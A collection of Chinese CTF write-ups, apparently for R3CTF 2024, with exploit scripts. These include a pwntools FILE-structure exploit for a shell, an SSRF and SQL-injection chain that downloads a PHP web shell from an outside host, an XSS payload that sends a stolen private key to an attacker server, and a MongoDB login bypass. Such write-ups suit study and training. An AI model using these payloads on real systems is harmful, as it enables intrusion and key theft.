在直接给 libc_base 的情况下,一次任意地址写 \x00 。
直接修改 IO_2_1_stdin 的 _IO_buf_base 末尾为 \x00 ,那么 _IO_buf_base 就会指向 IO_2_1_stdin 的 _IO_write_base,接下来就是利用 getchar 函数触发写操作修改 IO_buf_base 为 IO_2_1_stdout ,再次利用 getchar 函数触发写操作写 apple2 进 stdout ,printf 函数执行时候会触发 appl2 get shell。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote('ctf2024-entry.r3kapig.com', 30371)
#p = remote('127.0.0.1', 9999)
elf_patch = './chall'
#p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./libc.so.6')
sla(b'> ', b'1')
rl(b'0x')
libc_base = int(r(12), 16)# + 0x6d80
environ = libc_base + libc.sym['__environ']
system, binsh = get_sb()
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
stdin_IO_buf_base = stdin + 7*8
stdin_old_value = stdin + 0x83
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
# step 2 : printf -> stdout -> house of apple2
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x202228
base_addr = stdout
fake_io = b' sh;\x00\x00\x00'
fake_io = fake_io.ljust(0x68, b'\x00')
fake_io += p64(system)
fake_io = fake_io.ljust(0x88, b'\x00')
fake_io += p64(base_addr + 0x5000) # _lock
fake_io += p64(0)*2
fake_io += p64(base_addr)
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(_IO_wfile_jumps - 0x20)
fake_io = fake_io.ljust(0xe0, b'\x00')
fake_io += p64(base_addr)
sla(b'> ', b'2')
sla(b'Mem: ', hex(stdin_IO_buf_base))
#debug('b *$rebase(0x12c3)')
sa(b'> ', p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))
sleep(1)
sl(fake_io)
lg('libc_base', libc_base)
inter()
pause()
e01镜像 直接丢进火眼 分析出个嵌套证据
其实做这个题的时候分析过程还挺复杂的 感觉想的过于复杂了 归其原因还是经验太少 我甚至仿真起来了
翻文件夹的时候找到wsl 在结合嵌套证据 感觉预期解应该是要把这个系统恢复出来
但是好在有取证工具 不用恢复出来也可以做 下面就是由于我翻文件系统不仔细发现的另一种途径
010直接把密文翻出来了
但是在火眼里面直接能看到 还能看到一个关于密钥的提示
key:
Do you like watch videos on youtube?Something fun there:https://www.youtube.com/@d3f4u1t-lolol
F14G:
Hi players,welcome !Ops,what's that?2d422fc7f2c628c55520984c0673964eb5454dea72f79b1022a34728294c5bf8I guess u need a key to decrypt it.SELECT something FROM somewhere with the windows10 lol~
根据提示 SELECT something FROM somewhere
想到应该和sql语句有点关系
先看一下key里面提到的视频
有个字符串 提出来看看
0x6d617962652075206e6565642c746861742773206e6f74206162736f6c7574650a726f6f743a5040357357307264466f7255
maybe u need,that's not absolute
root:P@5sW0rdForU
给了个密码 尝试登陆mysql 成功登陆
select * from secret;
FFD8的头 一眼jpg图片 保存下来 给出了AES解密的key
其实这里也可以用一个项目ibd2sql来解密数据库secret.ibd
也可以
两部分 一个是找攻击者的手机号码 一个是找Peggy的登陆密码
先看流量 直接追踪tcp流 在第31个流 找到login登录页面
第一段flag从安卓手机存储手机短信的地方找
再看给的手机文件夹 直接用火眼分析 分析出两个手机号
根据语境 可以得知是15555215556这个号码应该是Peggy的同事 来询问Peggy是否也收到了钓鱼信息
那下面的15555215558 应该就是攻击者的手机号码 直接组合起来
r3ctf{15555215558_l0v3_aNd_peace}
利用shadoweditor
Ben is a superpower who loves playing hide and seek. He can teleport to anywhere to no one can find him, but he seems unaware that his ability only works within a certain range
Rules:
The adorable Ben will only appear within the range of (0, -50, 0) to (128, 50, 128).
Ben will every 10 seconds and reappear in a new location after 10 seconds.
A "newtp" has been added for all players to teleport to any coordinates.
Connect info: 34.81.163.238
version 1.19.2
很抽象的mc游戏题 开始确实是用PCL2模拟器进入游戏去玩
看到给了个newtp命令 还查了很多教程去学MC的tp命令是如何使用 但是发现没啥用 在地图里面逛了一会儿
用newtp大概传送了一些坐标 命令格式如下
想传送到的坐标(x, y, z)
newtp x y z
后面直接翻log日志文件 找到flag
读日志可以发现 这个”Ben”的尸体类型应该是村民 并且他的名称就是flag
R3CTF{Jus7_play_m0r3_h1de_2nd_seek_w1th_Ben}
搜索到b站视频上的封面,和拍摄地高度相似,查找19号线沿线pov BV1ie411M7av这个视频32s就是拍摄地,逐帧播放在3:35处找到 R3CTF{hangzhou_zhixing_road_station}
大于0.85肯定就是1:
from pwn import *p = remote('ctf2024-entry.r3kapig.com',31395)
for i in range(500):a = p.recvuntil(b'top_10_pred : [')
b = p.recvuntil(b']')
b = b.decode().replace('[','').replace(']','').split(',')
c = float(b[0])
if c >= 0.9:
p.sendlineafter(b'Is this picture in the training set?',b'1')
else:
p.sendlineafter(b'Is this picture in the training set?',b'0')
print(f'no.{i}={c},num={num}')
flag = p.recvline()
print(flag)
p.close()
当然,范围可以做合理的改变
R3CTF{caIN_liKe_A1_4nd_rEC_8772b609d39f}
开挂秒了
非常好村民,使我的透视+追踪旋转
使用CE检查java.exe进程中有诸多'R3CTF','r3ctf','flag'字眼,推测村民名字在内存中明文存储,跑图后
P.S.:经测试发现,只有装载旅行地图(journeymap-1.19.2-5.9.8-fabric)后才能在内存中找到村民name,旅行地图上大分(journeymap记录一些生物nbt很合理吧。。?
或者直接爆破flag就行()
def callback(re):
re=5
re=getattr(getattr(getattr('a',f"e{f"n"}c{f"o"}d{f"e"}")(),f"f{f"r"}o{f"m"}h{f"e"}x")(f'{re}f'),f"d{f"e"}c{f"o"}d{f"e"}")()
print(getattr(gc,f"g{f"e"}t{re}o{f"b"}j{f"e"}c{f"t"}s")(2)[2])
# 970064017d000200740100000000000000000200740100000000000000000200740100000000000000006402640364049b00640564069b00640764039b009d06ab02000000000000ab00000000000000640864099b006406640a9b00640b64039b00640c9d07ab020000000000007c009b0064089d02ab01000000000000640764039b00640564069b00640764039b009d06ab02000000000000ab000000000000007d007403000000000000000002007401000000000000000074040000000000000000640d64039b00640e7c009b006406640f9b00641064039b006405640e9b0064119d0bab020000000000006412ab01000000000000641219000000ab0100000000000001007900
# None,5,a,e,n,c,o,d,f,r,m,h,x,g,t,b,j,s,2
# getattr,print,gc
# 17
审计代码发现,可以自己注册个账号完成登录
登录之后,在修改密码那里居然可以改所有用户的密码
def R0System(USERNAME):
global login_tag,PublicChannels
option = int(input((b"Hello "+ USERNAME + b",do you need any services? ").decode()))
if option == 1:
username = bytes.fromhex(input(b"Username[HEX]: ".decode()))
new_password = bytes.fromhex(input(b"New Password[HEX]: ".decode()))
tag,msg = USER.reset_password(username,new_password)
print(msg.decode())
那思路就是改Bob的密码,然后得到Bob的私钥,再求Alice和Bob的会话密钥完成解密
class Curve:
def __init__(self):
# Nist p-256
self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
def add(self,P, Q):
if (P == (0, 0)):
return Q
elif (Q == (0, 0)):
return P
else:
x1, y1 = P
x2, y2 = Q
if ((x1 == x2) & (y1 == -y2)):
return ((0, 0))
else:
if (P != Q):
l = (y2 - y1) * pow(x2 - x1, -1, self.p)
else:
l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
x3 = ((l**2) - x1 - x2) % self.p
y3 = (l * (x1 - x3) - y1) % self.p
return x3, y3
def mul(self, n , P):
Q = P
R = (0, 0)
while (n > 0):
if (n % 2 == 1):
R = self.add(R, Q)
Q = self.add(Q, Q)
n = n // 2
return R
from Crypto.Util.number import long_to_bytes,bytes_to_long,isPrime
from hashlib import md5
from Crypto.Cipher import AES
curve = Curve()
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
# E = EllipticCurve(GF(p),[a,b])
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
encflag = "e3b70f0fc960e3cc28f5b02667e5483f6dd6cc267435d33cd222071f949da4a9fc383ad4282a28c81c8b106546b0dc5e61b0908f6d0edb07a2072a9f3b3c0a2aa4b990d1a903b33e5921336f68533b7fce5cd401816016e369e6941336dcf441"
tmpA = "ce760c0651d6f4e7466173d5bebe4803af2b0aea75ebb1948785e50fd1c911f18f887c172dd64d979fc501b13c5e76418e24920671610563bb0233fc1cf1a789"
tmpB = "fc7ac593d124c0f5c10ed04623c5d5e80bc4af3215956cba0dcf27d9a6a7e11b4412f38ef83403e9a844e11fbc349b05795808a38cb90b99dbb165c54aa38ba2"
Ax = bytes.fromhex(tmpA)[:32]
Ay = bytes.fromhex(tmpA)[32:]
Bx = bytes.fromhex(tmpB)[:32]
By = bytes.fromhex(tmpB)[32:]
A = (bytes_to_long(Ax),bytes_to_long(Ay))
B = (bytes_to_long(Bx),bytes_to_long(By))
b = 0x4627ff9ebfc02af8e8b2eb2a276ac028d874de10df417221d49d838bc6a5e733
KEY = md5(str(curve.mul(b,A)).encode()).digest()
aes = AES.new(KEY,AES.MODE_ECB)
flag = aes.decrypt(bytes.fromhex(encflag))
print(flag)
# R3CTF{p3rm1$sions_n33d_Att3nt1%n!_NeXt_l3vE1_l1Nk_1s_https://reurl.cc/Vz7GzZ_a702ba611b24}
上一题做完之后,拿到这题的附件
审计完代码发现,这题和上题区别在于,这题初始化只有Alice一个账号,而且我们居然能注册Bob的账号
注册之后和Alice交换密钥就好了
from Crypto.Util.number import long_to_bytes,bytes_to_long,isPrime from hashlib import md5 from Crypto.Cipher import AES encflag = "b421ed525e970681412ade94b2c9eeb5365d0cec75fed997525ce31fe8878dac9f4ea3992a5e54c27acfd81d456cc8ae27ff666c470637067e05d73cd53d2da1" key = "4b257eda7fda459a7844014378f08b8e" aes = AES.new(bytes.fromhex(key),AES.MODE_ECB) flag = aes.decrypt(bytes.fromhex(encflag)) print(flag) # R3CTF{pRN9_I1k3_qc9_1S_3Z_To_50IVe_38e5d6dd3eaa}
使用生成函数知识
因为
而后面的式子至多有2**18项,直接暴力算出每一项然后代入公式即可
from Crypto.Util.number import *
from sympy import *def coef(x):
if x < 0:
return 0
c=18
ret=1
x+=c-1
for i in range(c-1):
ret *= x-i
for i in range(c-1):
ret = ret // (i + 1)
return retdef run(k, n):
if n < 0:
return 0
if k == 19:
return coef(n)
t = (k+1)//2
return run(k+1,n-2**t) - run(k+1,n-2**(t+10)-1)p0=run(
1,2**20-ord(""))
p=nextprime(p0)
n = 162917824250624428770847214526766153715994730770828294223045145782361053118639752515448191168318791581379714281400019977395626358004912238500194006293059
c = 122406161670580331591403173748658855680897827252661396790491763445171793944030771193413106560964524799938825689332487037104687390956044492567123541927155
q=n//p
phi=(p-1)*(q-1)
d=inverse(65537,phi)
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag.decode())
五、web
1.r3php
首先给到的是一个无回显 file_get_contents(),限定 http 协议,可以自定义请求头。所以目标很明确,就是 SSRF 攻击 phpstudy 的内网协议。
php-fpm 开着,但是这里没法打。9080 用 Workerman 开着后台面板界面,除了登录接口都有鉴权,绕了很大的弯路之后发现,没法使用自定义的 session cookie(存疑?其实这里面还存在读文件/反序列化的逻辑),每次 sessionStart() 都会刷新,自然验证码就无法爆破,在 GET 后面伪造 POST 的时候也老是爆 400,不知道咋回事,只得放弃。
8090 端口开着 phpstudy 程序,前端界面使用自定义的协议与其通信:
可以看到是比较粗糙的,JSON^^^ 这样,先看看后台实际的登录逻辑如何实现。
密码在前面取了 MD5,用户名啥过滤没有,也就是说存在 SQLite 注入。
刚开始肯定会想通过 9080 的那个面板打,毕竟都是 HTTP,喜闻乐见的是,PHP 5 下 htmlspecialchars 也没过滤单引号,所以一个直观的想法是直接用万能密码打进去。
然后就会遇到两个问题,一是没有回显,没有验证码的 session,无从登录,二是实际试过万能密码之后,发现那个程序它 crash 了,没错,segmentation falt,不知道是后边插登录日志的时候报错,直接空指针引用了还是啥,总之一句话就是,即使解决了 session 的问题,在前端 16 个字符,经过 htmlspecialchars,要构造出同时符合 SELECT 和 INSERT 语法的语句,非常困难。
接着 nc 连上 8090,试试它这个协议。如果每行打一个 JSON^^^,是可以在单个连接内执行多次的,即使前面报错了也能继续,这一点很重要。其它接口也需要鉴权,使用的 TOKEN 由登录接口返回,大概看了一下,保存在 std::map 里,就别说啥伪造了。
综合以上的所有信息,再次明确现阶段的目标,首先得登录进这个系统。那么入口点肯定是这个 SQL 注入。可以想到,如果支持多语句执行的话,可以直接插入一个恶意 INSERT 更新 admin 的密码,而在本 phpstudy 中,如果在查询中插入多个 SELECT,只有最后一个的结果会被返回,也就是说其使用的 c sqlite 库确实是支持多语句执行的。
现在还需要 ADMINS 的表结构以及密码的 MD5 来完成这一步骤。前者直接 strings 一下就能看到,而后者,这还能是个问题?但是就是怎么试就是不对。应该不会有人想去把它 MD5 的算法逆出来,于是一个直观的想法是,把密码先改成 123456,然后在数据库中找到对应 hash 值。但是数据库呢?搜了半天没找到,strace openat 了也没找到,有点怀疑人生。再看看代码,能发现底下这个逆天的混淆:
更要命的是,直接把数据库脱出来用 sqlcipher 还打不开,估计是它在 depends 里 hook 了 sqlite3 系列函数,又加密了一次。一个 MD5 搞得这么麻烦?用 gdb 也下不了 breakpoint,不知道又干了啥。然后想到它会在执行失败的时候打印 log,于是就找了个语句里边带 MD5 的,让它报错,就能在回显里看到之前心心念念的密码 hash,这里用了 add_admin 这个 command。
cmd5 竟然还认识,反正我不认识。总之 hash 有了,表结构有了,就可以构造这样的 command 进行 SQL 注入。
{"command":"login","data":{"username":"aaa'; UPDATE ADMINS SET PASSWORD='c26be8aaf53b15054896983b43eb6a65'; -- a","pwd":"123456"},"token":""}
最后千万别让它返回啥结果,否则进入插入日志流程的时候就会崩溃,反正我是挺难崩。
修改过后,就可以正常使用 123456 密码登录了。在面板里大概翻了翻,文件操作基本上是由 9080 的 php 实现的,不过有个下载远程文件的功能,参数直接传进 json,是后端实现的。
直接往 wwwroot 里下 shell 就完事了。测过之后,确实是可以的。也就是说,整体上的攻击链已经完成。
{"command":"download_remote_file","uid":4,"data":{"remote_url":"http://IP/shell.php","download_to":"/www/admin/localhost_80/wwwroot/shell.php"},"token":"TOKEN"}
还剩下几个问题,一是没有回显,而 TOKEN 由 login command 返回,也跟随机 session 刷新了一样,不太可控。幸好多看了眼它的生成算法:
发现竟然是 timestamp,不是预期的随机数,底下还 insert 拼接,MD5 了几次。鉴于没有办法调试,tcpdump 抓了个包,最后猜出来了:
md5(md5('admin'+timestamp).upper())
TOKEN 的问题解决,在发送 login command 的时候计算,之后的请求带上即可。
现在就剩最后一步,将这些操作集成到一开始的 file_get_contents() 里面。但是很快就遇到了新的问题,用 tcpdump 可以看到,f_g_c() 发送完请求后,只收到了前面 parse error: GET / … 这个回包,后面的 ^^^ 似乎没有被解析,这与在 nc 中得到的结果不同,为什么呢?
从那个巨tm长,IDA F5 跑了两小时没出来最后放弃了的主调度函数中回溯,可以看到处理 socket 的流程。
大概就是,死循环里边 read(),有数据之后加进缓冲区,搜第一个 ^^^ 进行处理。也就是说,如果我们发送得太快,第一次就全部 read 进来了,处理完第一条 command 之后即使还有第二个,也会在 read() 处阻塞,没法继续执行。之前 nc 一行行地发送正好避免了这种情况的发生。
那现在怎么办呢?file_get_contents() 肯定是没法等到数据发回来,再接着继续发的。其实可以发现,只要让 read() 不阻塞就行了,^^^ 可以包含在刚开始发过去的数据里,也就是说,可以用一堆垃圾数据不断填满 read 的缓冲区,让 f_g_c() 一直发,等到 phpstudy 处理完第一个 parse error 为止,如果数据贼多,还在发的话,就能顺利执行第二条 command。
至此,已经完成本题攻击链中所有细节。
trash data 刷新缓冲区 ==> SQL 注入修改 admin 密码 ==> 基于 Timestamp 计算登录 TOKEN ==> 远程下载 PHP shell 至 wwwroot
import requests, time, hashlib
URL = 'http://ctf2024-entry.r3kapig.com:32182/'
def send_json(pay):
data = {'url': 'http://127.0.0.1:8090/aaa',
'header': '^^^' + pay + '^^^' + 'A'*100000}
try:
res = requests.post(URL, data=data, timeout=3)
except requests.exceptions.Timeout:
print('timeout')
else:
print(res.status_code)
send_json('''{"command":"login","data":{"username":"aaa'; UPDATE ADMINS SET PASSWORD='c26be8aaf53b15054896983b43eb6a65'; -- a","pwd":"123456"},"token":""}''')
ts = int(time.time())
print('timestamp', ts)
token = hashlib.md5(hashlib.md5(('admin' + str(ts)).encode()).hexdigest().upper().encode()).hexdigest().upper()
send_json('''{"command":"login","data":{"username":"admin","pwd":"123456"},"token":""}''')
send_json('''{"command":"download_remote_file","uid":4,"data":{"remote_url":"http://IP/shell.php","download_to":"/www/admin/localhost_80/wwwroot/shell.php"},"token":"TOKEN"}'''.replace("TOKEN", token))
后记:出题人直接写了个计划任务 TASKMNG 表,我压根没注意到。
代码很多,很复杂,首先明确一下要做什么。
要获取 flag。flag 在哪?/api/flag 路由里边有。
然后需要 info.accounts[0].addr 及其私钥用来签名。这个又在哪里?/api/bot 里面有。
这里是个 XSS,admin 把私钥填进去,然后看了看 Posts。先别管具体咋 X 的,找找内容从哪里来。
可以发现 admin 查看了自己的 Posts,然后上边那个 dangerouslySetInnerHTML 直接就把我们的内容合并进去,一发 XSS 了。
所以我们的目标是,修改 admin 的 Posts 为恶意内容,触发 XSS。只有这条路,因为其他啥参数都不可控。
那么现在可以做什么呢?有个区块链,web3,想干点啥都要金币,但是初始账户里没有余额。所以首先,得往自己的账户里充钱。看 /api/recharge 可以发现充钱是要用 redeem code 充的。它生成的逻辑是这样:
经典 Math.random() 了,在 Node.JS 里边是可以预测的,当然,理论上也可以向前”预测”。再看看这玩意其他的输出点。
又发现,爆 500 的时候顺便把这玩意输出来了,给定了足够的状态以后,就可以还原 redeem code。
https://github.com/PwnFunction/v8-randomness-predictor
然而再仔细看看,会发现有点不对头。这里输出的是 36 进制的 String,一次
Math.random().toString(36)
小数点后有 11 位,recharge 的 16 长度由两个拼接而来,但报错里能获取的只有 10 位,也就是最后一位没了。刚开始想爆破,然后发现不太现实。其实 V8 随机数生成的逻辑很简单,就是位移移异或或,所以理论上失去了最后一位(大约 4~8 bit 的信息),是能通过更多的状态补充回来的。也就是说要做的其实很简单,把代码改成向前回溯状态(”预测”)的,然后加入 10 个左右生成的数(原本是 5 个),在计算时把低 8 位 mask 掉(表示未知),照样能解出来。
#!/usr/bin/python3
import z3
import struct
def base_fromf(x):
ret = 0.0
base = 1/36
for i in range(len(x)):
ret += base * int(x[i], 36)
base /= 36
return ret
def base_tof(x):
ret = ''
while x > 1e-4:
ret += '0123456789abcdefghijklmnopqrstuvwxyz'[int(x*36)]
x = x*36 - int(x*36)
return ret
def check(sequence):
sequence = sequence[::-1]
solver = z3.Solver()
se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)
for i in range(len(sequence)):
se_s1 = se_state0
se_s0 = se_state1
se_state0 = se_s0
se_s1 ^= se_s1 << 23
se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift
se_s1 ^= se_s0
se_s1 ^= z3.LShR(se_s0, 26)
se_state1 = se_s1
if isinstance(sequence[i], str):
solver.add(z3.BitVec(sequence[i], 64) == z3.LShR(se_state0, 12))
continue
float_64 = struct.pack("d", sequence[i] + 1)
u_long_long_64 = struct.unpack("<Q", float_64)[0]
# Get the lower 52 bits (mantissa)
mantissa = u_long_long_64 & ((1 << 52) - 1)
mask = ((1 << 64) - 1) & ~((1 << 8) - 1)
# Compare Mantissas ( except lower 8 digits )
solver.add((int(mantissa) & mask) == (z3.LShR(se_state0, 12) & mask))
if solver.check() == z3.sat:
return solver.model()
return False
def answer(model):
states = {}
for state in model.decls():
states[state.__str__()] = model[state]
print(states)
state0 = states["se_state0"].as_long()
for state in model.decls():
if (mat:=state.__str__()).startswith('mat'):
u_long_long_64 = (states[mat].as_long() >> 0) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
prev_sequence = struct.unpack("d", float_64)[0]
prev_sequence -= 1
print(mat, prev_sequence, base_tof(prev_sequence))
org = ['mat0','mat1','mat2','mat3','mat4','mat5']
def getapd(n):
import requests
ret = []
for i in range(n):
res = requests.post('http://ctf2024-entry.r3kapig.com:32090/api/backend', data='{"js', headers={'Content-Type': 'application/json'})
print(i, num:=res.json()['data']['id'])
ret.append(num)
ret = ret[1:] # first for check
print('')
return ret
# Array.from(Array(100), ()=>(Math.random().toString(36).substring(2).slice(0,10)))
apd = getapd(10)
apd = list(map(base_fromf, apd))
print(apd)
model = check(org + apd)
if model is False:
print('unsolvable')
else:
answer(model)
Python 的 36 进制转 10 进制小数还有点精度丢失,行为不一致,很难崩,结果拷到 Node.JS 上面再转。
有了金币以后就可以进行智能合约的链上操作,这上边能 register,publish,edit,但问题是,都只能操作自己的,也就是 sender.address,没法修改别人,或者说 admin 的 Posts 。
再仔细看看这里,这个 undo() 功能,首先把 length 减了 1,然后再判断它是否 >=0。看起来好像没问题?因为 require() 不满足,交易就不会成功。再说了,就算是负数又能怎么样。然后可以发现,length 在 solidity 里是个 uint256 类型的,也就是说 0-1 会下溢出至 2^256-1 最大值,导致该数组可以对任意的 offset 进行访问,理论上形成任意读写。
这里便需要一些 solidity memory layout 的知识。
https://docs.soliditylang.org/en/v0.8.17/internals/layout_in_storage.html
对着它的合约,version 占据 slot0,我们在的 postMapping 对应 slot4,也就是说,postMapping[address] 对应的 slot 为
keccak256(bytes32(account) + bytes32(4))
。由于 Post[] 又是 dynamic array,需要对之前得到的地址再次 keccak256(),得到该数组的起始 slot。数组内各元素存放地址为keccak256(起始slot + index)
。有了该溢出之后,由于 solidity 对每个合约共用一个 2^256 slot 大小的地址空间,也就是说,由我们的 Post[] 是可以访问到对应 admin 的 Post[] 数组的,只是需要注意到一些简单的计算。这里还要特别注意,由于 struct Post 占 3 个 slot,所以计算 offset 时需要除以 3,并保证能够整除,否则需要更换地址继续。
mypos = keccak256(keccak256(bytes32(account) + bytes32(4)))
admin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276'[2:].lower() # <--- admin public address
apos = keccak256(keccak256(bytes32(admin) + bytes32(4)))
offset = int(apos, 16) - int(mypos, 16)
if offset < 0:
offset += 2**256
assert(offset % 3 == 0)
offset //= 3
这样得出的 offset,就是在访问我们的 Post[] 数组时,指定此 index 便能神奇地访问到 admin 的第一篇 Post!同理,就可以 edit() 这篇文章为恶意 XSS payload,然后让 admin 去访问。
那么接下来,解决 XSS 的问题。我们要偷的 private key 它恰好不好,不在 cookie 里,也不在 localStorage 里,偏偏就在 React 写的前端的一个 Context (Provider) 里。这咋整?去逆编译出来的 js 肯定是不可能的。其实再想想,能发现它的这些 props 肯定是存在 DOM 树里的。具体来说是哪里?三个字:不知道。
因为是真的不知道。每次渲染生成的字符串是随机的,我们只知道 private key 肯定在这里头,但是无从找起。不过其实也好办,都 XSS 能执行 JS 了,让它直接开搜呗。简单地搓一个递归查找属性的。
function findVal(object, key, path, depth) {
var value;
Object.keys(object).some(function(k) {
if (k === key) {
console.log(path);
value = object[k];
return true;
}
if (object[k] && typeof object[k] === 'object' && depth > 0) {
value = findVal(object[k], key, path + '.' + k, depth - 1);
return value !== undefined;
}
});
return value;
}
findVal(document.getElementById("root"), "privateKey", '', 10)
// .__reactContainer$q7dczn7vxl.stateNode.containerInfo.__reactContainer$q7dczn7vxl.stateNode.current.lastEffect.return.memoizedState.memoizedState
搜出来路径可能不唯一,但有肯定是有的。然后用经典 img.src 送到我们服务器上即可。
至此,已经完成了攻击链的所有步骤。
V8 随机数向前预测,计算充值码 ==> 在 Solidity 合约上 slot 任意读写 ==> 修改 admin 的 Post 并 XSS ==> prvkey 签名得到 flag
import requests, web3, json, binascii
from Crypto.Hash import keccak
from web3 import Web3
from eth_account.messages import encode_defunct
URL = 'http://ctf2024-entry.r3kapig.com:32090'
prvkey = '0x000000000000000000000000000000000000000000000000000000000000000b'
res = requests.get(URL + '/api/backend').json()['data']['blog']
address = res['address']
abi = res['abi']
web3 = Web3(Web3.HTTPProvider(URL + '/rpc'))
account = web3.eth.account.from_key(prvkey).address
# -----------
def bytes32(i):
return binascii.unhexlify('%064x' % i).hex()
def keccak256(x):
k = keccak.new(digest_bits=256)
k.update(bytes.fromhex(x))
return k.hexdigest()
mypos = keccak256(keccak256(bytes32(int(account, 16)) + bytes32(4)))
admin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276' # <--- MODIFY TO ADMIN ADDRESS HERE
apos = keccak256(keccak256(bytes32(int(admin, 16)) + bytes32(4)))
print('from', mypos, '=>', apos)
offset = int(apos, 16) - int(mypos, 16)
if offset < 0:
offset += 2**256
print('offset', bytes32(offset))
assert(offset % 3 == 0)
# -----------
code = 'MWP-nn4lpyib8s418b0t' # <--- MODIFY TO REDEEM CODE HERE
message = encode_defunct(text = account + '|' + code)
data = {'code': code, 'address': account,
'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=prvkey).signature).hex()}
print(data)
res = requests.post(URL + '/api/recharge', json=data)
print(res.text)
print('connected', web3.is_connected())
print('blockchain', web3.eth.block_number)
print('my balance', web3.eth.get_balance(account))
from web3.middleware import geth_poa_middleware
web3.middleware_onion.inject(geth_poa_middleware, layer=0)
contract = web3.eth.contract(address=address, abi=abi)
print('username_count', contract.functions.getUserNameCount().call())
def call(total_fee, func):
transaction = {
'from': account,
'value': total_fee,
'gas': 3000000, # adjust the gas limit as needed
'gasPrice': web3.to_wei('5', 'gwei'), # adjust the gas price as needed
'nonce': web3.eth.get_transaction_count(account)
}
txn = func.build_transaction(transaction)
signed = web3.eth.account.sign_transaction(txn, prvkey)
txn_hash = web3.eth.send_raw_transaction(signed.rawTransaction)
print(txn_hash.hex())
web3.eth.wait_for_transaction_receipt(txn_hash.hex())
print(web3.eth.get_transaction_receipt(txn_hash.hex()))
username = 'hello10'
fee_per_byte = 5 * 10**12 # 5 szabo in wei
total_fee = fee_per_byte * len(username)
print('registering')
call(total_fee, contract.functions.register(username=username))
print('username_count', contract.functions.getUserNameCount().call())
print('undo') # 1 finney
call(10 ** 15, contract.functions.undo())
#print('read', web3.eth.get_storage_at(address, keccak256(apos)))
print('article', contract.functions.read(user=admin, id=0).call())
title = 'mytitle'
content = '''<img src=x onerror="var f=(o,t,d)=>{var v;Object.keys(o).some(function(k){if(k===t){v=o[k];return true;}if(o[k]&&typeof o[k]==='object'&&d>0){v=f(o[k],t,d-1);return v!==undefined;}});return v;};this.src='http://IP:POST/?'+f(document.getElementById('root'),'privateKey',10);" />'''
fee_per_byte = 50 * 10**12
total_fee = fee_per_byte * len(title + content)
print('editing')
call(total_fee, contract.functions.edit(id=offset//3, title=title, content=content))
print('article', contract.functions.read(user=admin, id=0).call())
res = requests.post(URL + '/api/bot')
print(res.text)
apv = input('the admin private key: ').strip()
message = encode_defunct(text = admin.lower() + ': vivo flag')
data = {'message': message.body.decode(),
'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=apv).signature).hex()}
print(data)
res = requests.post(URL + '/api/flag', json=data)
print(res.text)
刚开始被骗惨了,还以为要逃逸 mongodb 那个 mozjs,翻半天源代码无果。看了 hint 才知道,捏麻麻的,原来可以任意文件下载。
下了个 index.mjs 看看,这里 query 直接带进 db.findOne() 肯定是有问题的。再看看,密码存的是 bcrypt 加密后的,也就是说即使能把密码注出来也没用,应当考虑登录相关逻辑的绕过。
刚开始本来想让它直接返回个固定的 username 跟 password,但是 MongoDB 好像不支持这种。再一看,这咋回事,先 verifyUser() 跑了一遍,后面获取 permium 又 find() 了一遍,也就是说,可以利用这两次 find() 之间的差异,密码用我们的检验通过,然后 premium 用 admin 的。答案已经呼之欲出了,$rand{} 一下就完事了。1/2 的概率返回我们的 test 用户,用于通过密码检验,1/2 的概率返回 admin,获取 premium。
{"$expr": {"$eq": ["$username", {"$cond": [{"$gt": [{"$rand": {}}, 0.4]}, "admin", "test"]}]}, "password": "12345678"}
差不多平均 5s 内,能爆出来。然后看看真正需要绕过的 sandbox 长啥样。
